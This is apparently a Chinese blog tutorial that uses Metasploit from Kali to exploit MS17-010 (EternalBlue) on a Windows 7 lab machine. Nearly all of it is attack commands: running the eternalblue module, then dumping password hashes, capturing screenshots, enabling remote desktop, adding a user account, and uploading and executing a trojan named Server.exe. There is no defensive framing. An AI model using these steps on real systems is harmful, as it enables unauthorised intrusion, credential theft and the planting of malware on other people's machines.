首先将靶机win7的防火墙关掉
打开Kali终端，输入sudo su进入，输入密码（密码不显示），提升为管理员权限
先去在msf中找一下msf的脚本
search ms17-010 #搜索msf中和ms17-010漏洞有关的脚本
use exploit/windows/smb/ms17_010_eternalblue #使用ms17-010的攻击模块set rhosts 192.168.92.192 #配置要攻击的靶机的ip地址
运行ms17-010攻击模块
run
成功建立会话后，使用一些功能
(1)shell #直接给一个shell命令执行终端
exit #退出shell命令执行终端
(2)sysinfo #查看靶机信息
(3)ipconfig #查看靶机网络配置
ifconfig #查看靶机网络配置
(4)hashdump #下载靶机用户的hash
(5)screenshot #可以对靶机屏幕截图
(6)ps #查看靶机正在运行的进程
(7) 在meterpreter 界面输入 run getgui -e 开启目标靶机的远程桌面
输入shell，进入shell命令行终端
使用dos命令 net user 去创建一个用户
(8 )使用upload 上传文件
upload /home/kali/桌面/Server.exe C:\\Windows
上传成功后 进入shell页面
cd 切换到上传目录
输入木马的名字敲击回车
1万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
